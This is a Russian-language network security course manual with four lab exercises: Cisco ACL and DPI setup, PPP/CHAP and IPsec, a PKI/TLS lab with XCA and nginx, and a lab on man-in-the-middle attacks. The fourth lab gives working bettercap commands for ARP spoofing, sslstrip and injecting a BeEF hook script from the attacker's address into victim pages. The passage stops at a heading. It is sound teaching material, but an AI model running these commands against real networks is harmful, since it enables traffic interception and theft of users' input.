Сетевая безопасность

Защита доступности, конфиденциальности и целостности всех вычислительных ресурсов от атак и сбоев



**Руководство**

# О руководстве

Описание дисциплины представлено в рабочей программе дисциплины “Сетевая безопасность”, с которой можно ознакомиться в электронном университете.

**Руководство>Лабораторные работы>Лабораторная работа №1**

# Лабораторная работа №1

## Цель работы

Изучение access control list и возможностей deep packet inspection сетевого оборудования Cisco.

## Теоретическая часть

### Межсетевые экраны

Межсетевой экран - программный или программно-аппаратный элемент компьютерной сети, осуществляющий контроль и фильтрацию проходящего через него сетевого трафика в соответствии с заданными правилами. Часто отделяет защищенные сегменты сети от незащищенных.

### ACL

ACL (access control list) - список правил межсетевого экрана, запрещающих или разрешающих использование ресурсов сети: доступа к интернету, телефонии, видеосвязи и т.д.

Списки ACL широко используются для обеспечения работы компьютерных сетей и сетевой безопасности с целью предотвращения атак и управления трафиком. Администраторы могут использовать списки ACL для определения классов трафика и управления ими на сетевых устройствах в соответствии с комплексными требованиями по безопасности. Списки ACL можно определять для уровней 2, 3, 4 и 7 OSI.

Список ACL представляет собой последовательный перечень разрешающих или запрещающих правил. Записи можно создавать для выполнения фильтрации трафика на основе определенного критерия, например адреса источника или адреса назначения, протокола и номера порта.

Стандартные списки ACL обрабатывают пакеты, проверяя поле IP-адреса источника. Такие списки ACL используются для фильтрации пакетов только на основании информации об источнике, соответствующей уровню 3. Синтаксис создания стандартных нумерованных ACL:

access-list {acl-#} {permit | deny} source-addr [source-wildcard] [log], где:

* acl-# - десятичное число в диапазоне 1..99 или 1300..1999
* permit - разрешает доступ
* deny - запрещает доступ
* source-addr - адрес сети или хоста-источника или слово any (любой источник)
* source-wildcard - опциональная 32-битная маска источника с единицами в позициях битов, которые игнорируются
* log - опционально выводит в журнал сообщение, включающее номер ACL, принятое решение (принять/отклонить), адрес источника

В расширенных ACL списках пакеты проверяются на основе информации уровней 3 и 4 об источнике и адресе назначения. По сравнению со стандартными расширенные списки ACL предоставляют более гибкие возможности по управлению доступом к сети. Синтаксис создания расширенных нумерованных списков ACL:

access-list {acl-#} {permit | deny} protocol source-addr [source-wildcard] dest-addr [dest-wildcard] [operator port] [established], где:

* acl-# - десятичное число в диапазоне 100..199 или 2000..2699
* permit - разрешает доступ
* deny - запрещает доступ
* protocol - имя или номер протокола, например: ip, tcp, udp, icmp
* source-addr - адрес сети или хоста-источника или any (любой источник)
* source-wildcard - опциональная 32-битная маска источника с единицами в позициях битов, которые игнорируются
* dest-addr - адрес сети или хоста-получателя или any (любой получатель)
* dest-wildcard - опциональная 32-битная маска получателя с единицами в позициях битов, которые игнорируются
* operator - опциональный оператор сравнения, допустимые значения: lt, gt, eq, neq, range
* port - опциональный номер TCP или UDP порта
* established - опционально применяет правило только к установленному соединению (только TCP)

Применение ACL к интерфейсу:

Router(config-if)# ip access-group {acl-#} {in|out}, где:

* acl-# - номер ACL
* in - применить к входящему трафику
* out - применить к исходящему трафику

Просмотр ACL: Router# show access-lists

### Уровни безопасности

Межсетевые экраны Cisco ASA используют так называемые “уровни безопасности”, которые обозначают насколько доверие пакетам с одного интерфейса больше доверия пакетам с другого интерфейса, чем выше уровень безопасности, тем более доверенным считается интерфейс. Пакеты с интерфейса с более высоким уровнем безопасности могут маршрутизироваться в интерфейсы с более низким, но не наоборот, если явно не настроен access list, который это позволяет.

### Настройка ASA 5505

Межсетевой экран ASA 5505 построен на базе коммутатора (интерфейсы Ethernet0/0 - Ethernet0/7). По умолчанию опередены два VLAN: Vlan 1 и Vlan 2, один для внутренней сети, другой для внешней. Начальная настройка IP адресов и уровней доступа может быть проведена так:

ciscoasa(config)#interface vlan 2
ciscoasa(config-if)#nameif outside
ciscoasa(config-if)#ip address <IP во внешней сети> <маска внешней сети>
ciscoasa(config-if)#security-level 0
ciscoasa(config-if)#interface vlan 1
ciscoasa(config-if)#nameif inside
ciscoasa(config-if)#security-level 100
ciscoasa(config-if)#dhcpd dns <адрес DNS-сервера>

Далее необходимо настроить шлюз по умолчанию:

ciscoasa(config)#route outside 0.0.0.0 0.0.0.0 <адрес шлюза по умолчанию>

На этом этапе должны работать исходящие пинги из ASA 5505.

Настройка NAT на ASA 5505:

ciscoasa(config)#object network inside-net
ciscoasa(config-network-object)#subnet <внутренняя сеть> <маска внутренней сети>
ciscoasa(config-network-object)#nat (inside,outside) dynamic interface
ciscoasa(config-network-object)#end

### DPI

DPI (deep packet inspection) - технология проверки сетевых пакетов по их содержимому для регулирования и фильтрации трафика. В отличие от простых ACL, блокировку трафика с использованием DPI нельзя обойти сменой порта. DPI используется в корпоративной среде для избежания утечек информации. В быту DPI можно встретить при использовании мобильного интернета: операторы связи часто замедляют трафик, связанный с P2P-сетями, такими как BitTorrent. Также DPI используется для реализации блокировок сайтов.

Создание карты классов на ASA 5505:

ciscoasa(config)#class-map inspection\_default
ciscoasa(config-cmap)#match default-inspection-traffic
ciscoasa(config-cmap)#exit

Настройка DPI на ASA 5505:

ciscoasa(config)#policy-map global\_policy
ciscoasa(config-pmap)#class inspection\_default
ciscoasa(config-pmap-c)#inspect <протокол>
ciscoasa(config-pmap-c)#exit
ciscoasa(config)#service-policy global\_policy global

Будет разрешен трафик протокола *протокол*.

## Задание



Виртуальная сеть

Адреса подсетей должны содержать номер группы и порядковый номер студента в группе.

1. Построить сеть
2. Настроить маршрутизацию между Central PC 1 и Port forwarding router
3. Настроить веб-сервер на Server
4. На Port forwarding router настроить перенаправление портов 80 и 8000 на веб-сервер
5. Настроить DNS сервер: добавить DNS-запись для доступа к веб-серверу
6. Проверить доступ к веб-серверу с Central PC 1 по доменному имени
7. Настроить расширенный ACL на роутере Router with ACL для запрета доступа с Central PC 1 к веб-серверу на стандартном порте
8. Продемонстрировать доступ к веб-серверу по доменному имени с Central PC 2, отсутствие доступа с Central PC 1 на стандартном порте и наличие на нестандартном
9. Настроить NAT и DPI на ASA 5505, разрешить исходящий ICMP и DNS трафик
10. С PC behind ASA продемонстрировать работу ICMP и отсутствие доступа к веб-серверу
11. Разрешить HTTP-трафик в DPI на ASA 5505, продемонстрировать наличие доступа к веб-серверу с PC behind ASA

**Руководство>Лабораторные работы**

# Лабораторные работы

**Руководство>Лабораторные работы>Лабораторная работа №2**

# Лабораторная работа №2

## Цель работы

Изучить протоколы защиты данных в Cisco Packet Tracer на примере PPP и IPsec.

## Теоретическая часть

### Хеширование

Хеш-функция - функция, осуществляющая преобразование массива входных данных произвольной длины в выходную битовую строку установленной длины. Преобразование, производимое хеш-функцией, называется хешированием. Для защиты информации чаще всего используются криптографические хеш-функции, которые отличаются необратимостью и защищенностью от коллизий.

### PPP

PPP (Point-to-Point-Protocol) - протокол второго уровня модели OSI. Обычно используется для установления прямой связи между двумя узлами сети. Обеспечивает аутентификацию соединения, шифрование и сжатие данных.

В сетевом оборудовании от Cisco PPP включается так:

Router(config)#int serial1/0
Router(config-if)#encapsulation ppp

Наиболее распространенные алгоритмы аутентификации - PAP и CHAP. PAP (password authentication protocol) считается устаревшим и небезопасным, т.к. отправляет пароли в чистом виде, из-за чего их легко проверять. CHAP (challenge handshake authentication protocol) не передает пароль в открытом виде, вместо этого он использует трехэтапное согласование:

1. Сторона отправляет пакет типа challenge с числом.
2. Другая сторона объединяет число из пакета и свой секрет, вычисляет и отправляет хеш.
3. Хеш принимается первой стороной и сравнивается с ожидаемым значением. Если оно совпадает, то аутентификация пройдена.

Если перехватить challenge пакет и пакет с ответом на него, то можно перебирать пароль по словарю или полным перебором пока хеш не совпадет.

Для настройки CHAP необходимо задать имя хоста на обоих маршрутизаторах и создать пользователей для маршрутизатора на другом конце. Предположим, что настраивается PPP между RouterA и RouterB, тогда настройка RouterA будет выглядеть так:

Router1(config)#hostname RouterA
RouterA(config)#username RouterB secret <пароль>

Аналогичную процедуру необходимо провести на RouterB. Имена хостов должны отличаться, а *пароль* совпадать.

### IPsec

IPsec - набор протоколов для обеспечения защиты данных. Позволяет осуществлять аутентификацию, проверку целостности и шифрование IP-пакетов. IPsec также включает в себя протоколы для защищённого обмена ключами в сети Интернет. В основном применяется для организации VPN-соединений. IPsec реализован на сетевом (3-м) уровне.

Для настройки IPsec сначала необходимо настроить ISAKMP - протокол из набора IPsec для аутентификации и обмена ключами:

Router(config)#crypto isakmp policy 10
Router(config-isakmp)#encryption aes 256
Router(config-isakmp)#authentication pre-share
Router(config-isakmp)#group 5
Router(config-isakmp)#exit
Router(config)#crypto isakmp key <пароль> address <адрес внешнего интерфейса другой стороны туннеля>

Далее необходимо задать, что будет использоваться ESP (encapsulating security payload) - протокол, обеспечивающий шифрование данных, проверку целостности, аутентификацию источника, а также защиту от повторной передачи:

Router(config)#crypto ipsec transform-set set1 esp-aes 256 esp-sha-hmac

Здесь и на прошлом шаге задаются: алгоритм шифрования (AES-256), эллиптическая кривая (группа 5), алгоритм аутентификации (HMAC на базе хеша SHA).

После этого необходимо создать ACL, разрешающий перенаправление трафика между сетями, между которыми будет развернут туннель:

Router(config)#access-list 100 permit ip <сеть 1> <обратная маска 1> <сеть 2> <обратная маска 2>

Например для соединения сетей 192.168.1.0/24 и 192.168.2.0/24 для маршрутизатора в сети 192.168.1.0/24 правило будет выглядеть так:

Router(config)#access-list 100 permit ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255

В конце необходимо создать криптокарту IPsec:

Router(config)#crypto map IPSec 100 ipsec-isakmp
Router(config-crypto-map)#set peer <адрес внешнего интерфейса другой стороны туннеля>
Router(config-crypto-map)#set pfs group5
Router(config-crypto-map)#set security-association lifetime seconds 86400
Router(config-crypto-map)#set transform-set set1
Router(config-crypto-map)#match address 100

И включить IPsec на внешнем интерфейсе:

Router(config)#int fa0/0
Router(config-if)#crypto map IPSec

## Задание



Виртуальная сеть

Адреса подсетей должны содержать номер группы и порядковый номер студента в группе.

1. Построить сеть
2. Настроить PPP с аутентификацией CHAP между Apt. Complex Router и ISP
3. Настроить шлюзы по умолчанию и маршрутизацию всех сетей кроме сети за Home router и сети за Office router
4. Настроить IPsec туннель между Home router и Office router
5. Продемонстрировать доступ к серверу Office server с компьютера Home PC

**Руководство>Лабораторные работы>Лабораторная работа №4**

# Лабораторная работа №3

## Цель работы

Изучить инфраструктуру открытых ключей на примере создания сертификата удостоверяющего центра, подписи сертификата, и настройки веб-сервера для использования TLS.

## Теоретическая часть

### Файл hosts

Файл hosts - текстовый файл, содержащий доменные имена и соответствующие им IP адреса. Файл hosts - первый в списке алгоритмов распознавания имен, поэтому если для доменного имени нашелся соответствующий IP адрес, то все остальные алгоритмы использованы не будут, т.е. не будет отправлен DNS запрос, NetBIOS запрос и т.д.

В ОС Windows файл hosts находится по пути C:\Windows\system32\drivers\etc, в unix-based системах - /etc/hosts.

Строка файла hosts обычно состоит из IP адреса, идущего за ним пробела, и доменного имени. Часто для блокировки подключения к конкретных доменным именам, им в соответствие ставят IP адрес 0.0.0.0.

### Асимметричная криптография

В отличие от симметричной криптографии, в асимметричной используется два ключа: открытый (публичный, public) и закрытый (секретный, “приватный”, private). Открытый ключ распространяется свободно, а закрытый держится в секрете и хранится только у владельца. Сообщение, зашифрованное для одного ключа, можно расшифровать только другим, поэтому для шифрования сообщений используют открытый ключ, при этом адресат расшифровывает сообщение соответствующим закрытым ключом, а для подписи - закрытый ключ, чтобы расшифровать (проверить действительность подписи, т.е. личность подписывающего) ее могли все, т.к. соответствующий открытый ключ распространяется свободно.

На практике операция шифрования данных асимметричной криптографией используется чаще всего в фазе установления соединения только для шифрования ключа симметричного шифра, который будет использоваться для шифрования всех остальных данных.

### Инфраструктура открытых ключей

Инфраструктура открытых ключей (PKI - public key infrastructure) - набор средств, служб и компонентов, в совокупности используемых для поддержки криптозадач на основе закрытого и открытого ключей.

Основные Принципы:

* закрытый ключ (private key) известен только его владельцу
* удостоверяющий центр (УЦ или CA - certificate authority) создает сертификат, таким образом удостоверяя факт того, что закрытый ключ известен только владельцу этого сертификата
* никто не доверяет друг другу, но все доверяют удостоверяющему центру
* удостоверяющий центр подтверждает или опровергает принадлежность открытого ключа заданному лицу, которое владеет соответствующим закрытым ключом

### Удостоверяющие центры

Удостоверяющий центр является структурой, формирующей цифровые сертификаты подчиненных центров сертификации и конечных пользователей. УЦ является доверенной третьей стороной.

Сертификат - это данные пользователя/сервера и его открытый ключ, скрепленные электронной подписью удостоверяющего центра. Выпуская сертификат открытого ключа, удостоверяющий центр тем самым подтверждает, что лицо, записанное в сертификате, владеет закрытым ключом, который соответствует этому открытому ключу.

Корневые удостоверяющие центры - центры сертификации, которым доверяют изначально все, либо руководствуясь политикой предприятия, либо из-за предустановленных настроек хранилища сертификатов, и которые могут находиться в начале пути доверия.

### Сертификаты

Простой сертификат содержит следующие поля:

* Serial Number - серийный номер, используется для идентификации сертификата в автоматизированных системах УЦ
* Subject - кому принадлежит сертификат: конкретной машине, лицу, организации
* Issuer - издатель сертификата, тот, кто его подписал
* Not Before - дата начала действия сертификата
* Not After - дата конца действия сертификата
* Key Usage - задачи, для которых действителен публичный ключ сертификата: проверка подписи, подпись других сертификатов (только для УЦ, не разрешена у конечных сертификатов) и т.д.
* Extended Key Usage - для каких еще задач может быть использован сертификат: аутентификация сервера, защита почты, подпись программного кода
* Public Key - публичный ключ
* Signature Algorithm - алгоритм подписи
* Signature - подпись: хеш и подпись (алгоритмом из поля Signature Algorithm) секретным ключом издателя сертификата

Поле Subject часто состоит из:

* common name (CN) - доменное имя
* organization (O) - организация
* organizational unit (OU) - единица внутри организации, например отдел
* country (C) - страна (например US)
* locality (L) - город (например San Francisco)
* state (ST) - штат или область (например California)

Сертификат считается самоподписанным, если его издатель совпадает с самим сертификатом. Подпись в таком случае проверяется публичным ключом самого сертификата. Сертификаты корневых УЦ обычно самоподписанные.

Для получения сертификата у УЦ необходимо сформировать запрос на подпись сертификата (CSR - certificate signing request), который не будет рассматриваться в контексте данной лабораторной работы.

Цепь сертификатов на примере сайта https://www.opennet.ru:

$ openssl s\_client -showcerts -connect www.opennet.ru:443
depth=2 C = US, O = Internet Security Research Group, CN = ISRG Root X1
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = R3
verify return:1
depth=0 CN = opennet.ru
verify return:1
---
Certificate chain
 0 s:CN = opennet.ru
 i:C = US, O = Let's Encrypt, CN = R3
 a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
 v:NotBefore: Jul 10 18:53:16 2023 GMT; NotAfter: Oct 8 18:53:15 2023 GMT
 ...
 1 s:C = US, O = Let's Encrypt, CN = R3
 i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
 v:NotBefore: Sep 4 00:00:00 2020 GMT; NotAfter: Sep 15 16:00:00 2025 GMT
 ...
 2 s:C = US, O = Internet Security Research Group, CN = ISRG Root X1
 i:O = Digital Signature Trust Co., CN = DST Root CA X3
 a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
 v:NotBefore: Jan 20 19:14:03 2021 GMT; NotAfter: Sep 30 18:14:03 2024 GMT
 ...

Виден сертификат CN = opennet.ru, который принадлежит непосредственно сайту, который издан C = US, O = Let's Encrypt, CN = R3, который издан C = US, O = Internet Security Research Group, CN = ISRG Root X1.

Последний является сертифкатом корневого УЦ. Найти его можно в системном хранилище сертификатов корневых УЦ, а также в веб-браузерах, которые обычно имеют свои списки, которые обновляются независимо от механизма обновления ОС. ISRG Root X1 в хранилище сертификатов Firefox:



Сертификат УЦ

Сертификат между корневым и принадлежащим конкретно opennet.ru, принадлежит [Let’s Encrypt](https://letsencrypt.org/). Let’s Encrypt - популярный УЦ, появившийся в 2014 году, предоставляющий бесплатные сертификаты при условии подтверждения владения сервером. Подтверждение может быть целиком автоматизировано и состоит из создания файла с одноразовой строкой на сервере и отдачей его по HTTP.

Сертификат, принадлежащий opennet.ru, не имеет способности подписывать другие сертификаты.

С точки зрения безопасности, атакующий, получивший доступ к сертификату доверенного УЦ, может подписывать любые сертификаты и использовать их, например, для перехвата трафика, если организует атаку типа “человек посередине” (не обязательно активная атака, это может сделать, например, VPN-провайдер). Неоднократно из списка корневых сертификатов удалялись сертификаты УЦ, действия которых были подозрительными (примеры: [TrustCor](https://nvd.nist.gov/vuln/detail/CVE-2022-23491), [Symantec](https://habr.com/ru/articles/334392/)).

Тем не менее, по сей день в списке корневых сертификатов можно встретить например Hongkong Post Root CA (виден на скриншоте выше), который, судя по всему, принадлежит почте Гонконга. Срок его действия абсурдно большой - 2017-2042 годы. Стоит ли доверять почте Гонконга так, как это делает по умолчанию Firefox?

## Практическая часть

В практической части будет рассмотрено создание сертификата УЦ, подписи сертификата веб-сервера и настройка веб-сервера nginx. Создание УЦ или использование самоподписанных сертификатов на практике часто используется в интранетах различных компаний.

### Инструменты

[Kali Linux](https://www.kali.org/) - дистрибутив GNU/Linux для проведения тестов безопасности. Основан на основе Debian, имеет множество предустановленных инструментов.

[XCA](https://hohnstaedt.de/xca/) - программа для управления ключами и сертификатами.

[nginx](https://nginx.org/ru/) - веб-сервер.

[Firefox](https://www.mozilla.org/en-US/firefox/) - веб-браузер.

### Создание и запуск виртуальной машины

1. Тип: Linux, Debian (64-bit)
2. Оперативная память: 2560 МиБ, процессор: 2+
3. Жесткий диск: отсутствует
4. CD диски: kali-linux-2023.1-live-amd64.iso и kalipackages.iso

После создания ВМ:

1. Запустить ВМ
2. Выбрать “Live system (amd64)” в загрузчике
3. Дождаться загрузки
4. Открыть терминал: ПКМ по рабочему столу > Open Terminal Here
5. Если рабочий стол виртуальной машины слишком маленький относительно размера окна в хост-системе, то попробовать изменить размер окна ВМ. Если не помогло, то ПКМ по рабочему столу > Open Terminal Here, ввести xrandr --output Virtual1 --mode 1920x1080, где 1920x1080 - одно из поддерживаемых разрешений. Полный список можно посмотреть выполнив xrandr без агрументов.
6. Открыть диск Packages (значок есть на рабочем столе), открыть терминал в открывшейся директории, выполнить sudo dpkg -i xca\*.deb

### Создание БД в XCA

XCA хранит все данные в базе данных. Для создания базы данных необходимо выбрать File > New DataBase, после чего ввести название и нажать Save. После этого программа предложит ввести пароль, при этом разрешается использовать пустые пароли.

### Создание приватных ключей в XCA

1. Выбрать вкладку Private Keys
2. Нажать New Key
3. Ввести название ключа, выбрать тип и длину
4. Нажать Create

### Генерация сертификата

1. Выбрать вкладку Certificates
2. Нажать New Certificate
3. Выбрать шаблон (Template for new certificate). В контексте лабораторной работы либо [default] CA для удостоверяющего центра, либо [default] TLS\_server для веб-сервера. Нажать Apply all.
4. Выбрать издателя сертификата: либо другой сертификат, либо самоподписанный (Create a self signed certificate)
5. Заполнить поля во вкладке Subject. Поля commonName в контексте лабораторной работы будет достаточно.
6. Выбрать правильный приватный ключ (Private key)
7. Нажать OK

Если сертификат был издан УЦ, то он будет скрыт в раскрывающемся списоке соответствующего сертификата УЦ.

### Экспорт сертификатов из XCA

1. Выбрать необходимый сертификат
2. Нажать кнопку Export (справа)
3. Ввести название файла
4. Выбрать формат. В контексте лабораторной работы: если необходима полная цепочка, то необходимо выбрать PEM chain (\*.pem), иначе PEM (\*.crt).
5. Нажать OK

### Экспорт ключей из XCA

1. Выбрать необходимый ключ
2. Нажать кнопку Export (справа)
3. Ввести название файла
4. Выбрать формат. В контексте лабораторной работы PEM private (\*.pem).
5. Нажать OK

### Настройка TLS в nginx

1. Открыть терминал: нажать на значок в верхнем левом углу (рядом с цифрой 1)
2. Открыть /etc/nginx/nginx.conf в любом текстовом редакторе (предустановлены vim и nano) с правами root.
* В случае nano: sudo nano /etc/nginx/nginx.conf. Перемещение стрелками, Ctrl-S - сохранить, Ctrl-X - выйти.
1. В блок http (начинается со строки http {) добавить:
* server {
 listen 443 ssl;
 ssl\_certificate /home/kali/XXYY.com.pem;
 ssl\_certificate\_key /etc/nginx/Cert\_key.pem;
}
* Где XXYY.com.pem - имя файла экспортированного сертификата, Cert\_key.pem - имя файла приватного ключа.
1. Сохранить, выйти из текстового редактора, выполнить sudo systemctl restart nginx.

### Добавление записи в файл hosts

Аналогично прошлому пункту открыть файл /etc/hosts в текстовом редакторе, добавить строку:

127.0.0.1 XXYY.com

Сохранить и выйти из редактора.

Это необходимо делать так как при подключении по HTTPS будет проверяться соответствие сертификата доменному имени, поэтому при подключении к https://127.0.0.1/ будет выведена ошибка, а при подключении к https://XXYY.com/ - нет.

### Добавление УЦ в Firefox

Нажать Alt на клавиатуре > Edit > Settings > Privacy & Security > View Certificates > Authorities > Import > УЦ\_ИУ5-XX\_YY.crt (название файла сертификата УЦ), поставить галочку “Trust this CA to identify websites”, нажать OK.

### Информация о сертификатах в Firefox

На примере имени xx1.com.

Нажать на значок с изображением замка:

Далее Connection secure > More information > View Certificate.

Начало информации о сертификате веб-сервера будет выглядеть примерно так:

А информация об УЦ так:


## Задание

Далее XXYY - число, где XX - номер группы, YY - порядковый номер студента в группе.

1. Запустить ВМ
2. Запустить XCA, создать базу данных
3. Создать два приватных ключа: один для удостоверяющего центра, другой для сертификата веб-сервера 
4. Создать самоподписанный сертификат УЦ. В commonName включить номер группы и порядковый номер студента в группе.
5. Создать сертификат для веб-сервера, изданный УЦ. commonName в формате XXYY.com 
6. Экспортировать полную цепочку сертификата веб-сервера, приватный ключ сертификата веб-сервера, и сертификат УЦ
7. Настроить TLS в веб-сервере nginx
8. Добавить запись для распознавания доменного имени XXYY.com в файл hosts
9. Добавить УЦ в Firefox
10. Открыть https://XXYY.com/ в Firefox (значок слева от значка терминала), продемонстрировать демо-страницу, информацию о сертификате веб-сервера и УЦ

**Руководство>Лабораторные работы>Лабораторная работа №4**

# Лабораторная работа №4

## Цель работы

Изучение принципа работы ARP спуфинга и атак типа “человек посередине”, приобретение практических навыков выполнения атак.

## Теоретическая часть

### MiTM

MiTM (Man in The Middle, “человек посередине”) - класс атак, в которых атакующий имеет возможность прослушивать и изменять трафик между атакуемой машиной или службой и службой, к которой атакуемый пытается получить доступ.

### ARP

ARP - протокол для определения адреса канального уровня (MAC адреса) удаленной машины по ее IP адресу. MAC адреса, в свою очередь, записываются в поля “от кого” и “кому” Ethernet фреймов. Коммутаторы в своей работе не используют ARP, полагаясь вместо них на таблицу MAC адресов, которая составляется из входящих и исходящих из соответствующих физических портов Ethernet фреймов.

Адреса, определенные с помощью ARP, хранятся в ARP таблице. В операционных системах на базе Linux просмотреть ее можно так:

$ ip neigh
192.168.100.1 dev eth0 lladdr 08:00:27:35:b6:d7 REACHABLE

Где $ - приглашение ввода пользователя.

### ARP спуфинг

ARP спуфинг - сетевая атака, суть которой заключается в отправке ложных ARP пакетов.

Например, если есть маршрутизатор с IP адресом A, и атакуемый пользователь сети с IP адресом B, то атакующий может:

* отправить маршрутизатору ARP пакет, в котором говорится, что MAC адрес, соответствующий IP адресу B, равен MAC-адресу атакующего
* отправить пользователю ARP пакет, в котором говорится, что MAC адрес, соответствующий IP адресу A, равен MAC-адресу атакующего

Как только ARP таблица на машине пользователя сети обновится, во всех исходящих фреймах, предназначенных маршрутизатору, в Ethernet заголовке в поле “кому” будет выставлен MAC-адрес атакующего вместо MAC-адреса маршрутизатора. Маршрутизатор, являющийся по сути более умным коммутатором, при получении подобного фрейма, сразу же передаст его в соответствующий порт, где фрейм уже ожидает атакующий.

Таким образом, если правильно настроить атакующую машину, можно реализовать атаку типа “человек посередине” между маршрутизатором и пользователем сети.



Архитектура сети для демонстрации ARP спуфинга

Тогда путь ICMP запроса при вводе ping 8.8.8.8 на машине пользователя сети будет выглядеть примерно так:

Пользователь -> Порт A -> (Коммутация в) Порт B -> Атакующий -> Порт B -> Порт WAN -> Интернет

А путь ICMP ответа так:

Интернет -> Порт WAN -> Порт B -> Атакующий -> Порт B -> (Коммутация в) Порт A -> Пользователь

Если же маршрутизацию на машине атакующего настроить неверно, то ARP спуфинг превращается в форму DoS атаки, т.к. машина атакующего будет просто отбрасывать все проходящие через нее пакеты, из-за чего на машине пользователя сеть будет недоступна.

### MiTM шифрованных соединений

В наши дни большая часть подключений ведется с использованием протоколов, использующих шифрование. Это затрудняет извлечение информации атакой типа MiTM.

В случае HTTPS, одна из простых и очевидных тактик перехвата данных - это изначально избежать шифрование соединения. Для этого машину атакующего можно настроить так, чтобы она не пропускала соединения к порту 443, а также заменять в нешифрованном HTTP-трафике все https:// ссылки на http://. Тогда браузер на машине пользователя не сможет подключиться к целевому сайту по HTTPS по стандартному порту 443, и вместо него будет использовать нешифрованный HTTP, а замена всех https:// ссылок http:// предотвратит попытки открыть ссылки по безопасному протоколу. Такая атака называется sslstrip.

Для борьбы с sslstrip был изобретен [HSTS](https://ru.wikipedia.org/wiki/HSTS): HTTP заголовок, который указывает, что с сайтом необходимо соединяться только по HTTPS. Увидев этот заголовок, браузер его запоминает на установленное количество секунд (часто год). Таким образом, если браузер уже запомнил HSTS для сайта, то проведение атаки sslstrip становится невозможным.

Также существует предзагруженный в браузеры список доменов, которые открываются только по HTTPS: [документация Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security#preloading_strict_transport_security), [сервис проверки](https://hstspreload.org/). Это делается для того, чтобы злоумышленники не могли использовать атаку sslstrip при первом посещении сайта, когда браузер еще не получил заголовок HSTS. Одним из доменов из этого списка является например mail.google.com - домент почты Google.

Более сложная атака - MiTM с перешифровкой соединений. Здесь атакующий сам устанавливает защищенное соединение с сайтом, а атакуемому отдает данные, перешифрованные своим ключом. Подобное часто применяется без злого умысла, например в случае веб-сервера, который отдает статику фронтэнда, и проксирует запросы в бекэнд, а также антивирусными решениями для проверки шифрованного трафика на вирусы, в корпоративной среде для избежания утечек, или разработчиками приложений для отладки сетевых запросов.

Для проведения подобной атаки, также как и для настройки HTTPS в веб-сервере, нужен приватный ключ и сертификат. При проведении атаки браузеры будут выдавать ошибки, с которыми можно либо согласиться и продолжить, либо установить корневой сертификат.

### DNS спуфинг

В протоколе DNS не используется шифрование, а значит доменные имена видит в и интернет-провайдер, и потенциальный “человек посередине”. Кроме того, по той же причине они также могут подменять ответы на запросы. Интернет-провайдерами это может быть использовано для реализации блокировок, а “человеком посередине” для фишинга.

## Практическая часть

### Описание сети

Виртуальная сеть состоит из маршрутизатора, пользователя сети, и машины атакующего. Виртуальная машина маршрутизатора имеет доступ в реальную сеть и виртуальную, остальные машины только в виртуальную. IP адрес виртуальной сети - 192.168.100.0/24, маршрутизатора - 192.168.100.1.



Виртуальная сеть

### Инструменты

[Kali Linux](https://www.kali.org/) - дистрибутив GNU/Linux для проведения тестов безопасности. Основан на основе Debian, имеет множество предустановленных инструментов.

[Bettercap](https://www.bettercap.org/) - инструмент для исследования безопасности WiFi, Bluetooth, сетей IPv4 и IPv6.

[BeEF (Browser Exploitation Framework)](https://beefproject.com/) - инструмент для исследования безопасности браузеров. Сейчас многие атаки не работают на стандартных конфигурациях браузеров.

[nginx](https://nginx.org/ru/) - веб-сервер.

[mitmproxy](https://mitmproxy.org) - прокси для проведения MiTM атак на шифрованные соединения. Часто используется в законных целях разработчиками приложений для отладки.

### Создание виртуальной машины маршрутизатора

1. Тип: Linux, Arch Linux (64-bit)
2. Оперативная память: 256 МиБ, процессор: 1
3. Жесткий диск: router.vdi
4. Сеть: первый адаптер - внутренняя сеть intnet, второй адаптер - NAT


### Создание и запуск виртуальной машины атакующего

1. Тип: Linux, Debian (64-bit)
2. Оперативная память: 2560 МиБ, процессор: 2+
3. Жесткий диск: отсутствует
4. CD диски: kali-linux-2023.1-live-amd64.iso и kalipackages.iso.

5. Сеть: первый адаптер - внутренняя сеть intnet
6. Изменить последние 4 цифры MAC-адреса на XXYY (задание, п. 1)

После создания ВМ:

1. Запустить ВМ
2. Выбрать “Live system (amd64)” в загрузчике
3. Дождаться загрузки
4. Открыть терминал: ПКМ по рабочему столу > Open Terminal Here
5. Если рабочий стол виртуальной машины слишком маленький относительно размера окна в хост-системе, то попробовать изменить размер окна ВМ. Если не помогло, то ПКМ по рабочему столу > Open Terminal Here, ввести xrandr --output Virtual1 --mode 1920x1080, где 1920x1080 - одно из поддерживаемых разрешений. Полный список можно посмотреть выполнив xrandr без агрументов.
6. Открыть диск Packages (значок есть на рабочем столе), открыть терминал в открывшейся директории, выполнить sudo dpkg -i \*.deb

### Запуск виртуальной машины пользователя сети

Аналогично запуску виртуальной машины атакующего, но без диска kalipackages.iso и пункта 6.

### ARP спуфинг

1. На машине атакующего в терминале выполнить sudo bettercap
2. Включить наблюдение за сетевым трафиком: ввести net.sniff on
3. Просканировать сеть, найти IP и MAC адрес ВМ пользователя сети: net.probe on. Когда ВМ пользователя сети будет найдена, сканирование можно отключить: net.probe off.
4. Включить ARP спуфинг
	* set arp.spoof.targets ip, где ip - IP адрес ВМ пользователя
	* set arp.spoof.fullduplex true
	* set arp.spoof.internal true
	* arp.spoof on

### sslstrip

В bettercap ввести:

set http.proxy.sslstrip true
http.proxy on

Для проверки необходим сайт, который обычно открывается по https. В случае ошибок можно закрыть браузер и сбросить профиль: из терминала выполнить rm -rf ~/.mozilla.

### Запуск BeEF

1. В меню выбрать beef start, ввести новый пароль от пользователя beef
2. Дождаться запуска браузера, закрыть терминал
3. Авторизоваться с логином beef и ранее введенным паролем

### Инъекция BeEF

Заражает открываемые жертвой страницы скриптом beef.

Пример ввода в bettercap, где 192.168.100.194 - IP адрес ВМ атакующего (отображается в bettercap):

http.proxy off
set http.proxy.injectjs http://192.168.100.194:3000/hook.js
http.proxy on

Результат в beef после открытия http://example.com/ на ВМ пользователя сети:


В данном примере сессия не будет закрыта пока пользователь не закроет страницу http://example.com/. Если пользователь на этой странице введет “hello world” (не обязательно в поле ввода), то в ВМ атакующего результат будет выглядеть так:


### Перезапись ссылок

